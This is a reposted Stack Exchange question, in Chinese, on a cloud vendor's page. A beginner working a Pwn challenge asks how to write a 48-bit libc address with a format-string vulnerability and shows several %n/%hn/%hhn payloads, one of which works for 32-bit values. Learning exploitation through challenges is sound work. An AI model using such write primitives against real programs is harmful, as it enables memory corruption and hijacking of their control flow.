You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何用格式化字符串漏洞写入大于32位的大值(如48位libc地址)

格式化字符串漏洞写入48位libc地址的问题

我正在进行一项Pwn挑战,需要将目标内存地址覆盖为48位的libc地址,但目前仅能成功写入32位数值,写入更大值时会因对齐问题导致程序崩溃。

比如写入0x8e719f2e到target_address时,以下payload可以成功执行:

payload = b"%36465x%7$n" + b"%4285x%8$hn" + p64(target_address+2) + p64(target_address)

但尝试写入类似0x7f4121347120的libc地址时,多种方法均失败并导致程序段错误:

  • 方法1:用%hhn按降序逐个字节写入并加"A"填充对齐,payload如下:
    payload = b"%32x%7$hhnAAA" + b"%1x%8$hhn" + b"%19x%9$hhn" + b"%7x%10$hhn" + b"%48x%11$hhn" + b"%48x%12$hhn" + p64(ta) + p64(ta+3) + p64(ta+2) + p64(ta+4) + p64(ta+1) + p64(ta+5)
    
  • 方法2:用%hn每次写入两个字节,payload如下:
    payload = b"%8500x%7$hnAAAAAA" + b"%20460x%8$hn" + b"%3617x%9$hn" + p64(ta+2) + p64(ta) + p64(ta+4)
    
  • 方法3:尝试一次性写入完整值,结果直接导致系统崩溃。

我是Pwn新手,希望了解如何正确手动构造格式化字符串payload来写入大值,暂不想使用pwntools的fmtstr_payload,想全面掌握原理,恳请帮助。

内容的提问来源于stack exchange,提问作者john

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.27 05:42:44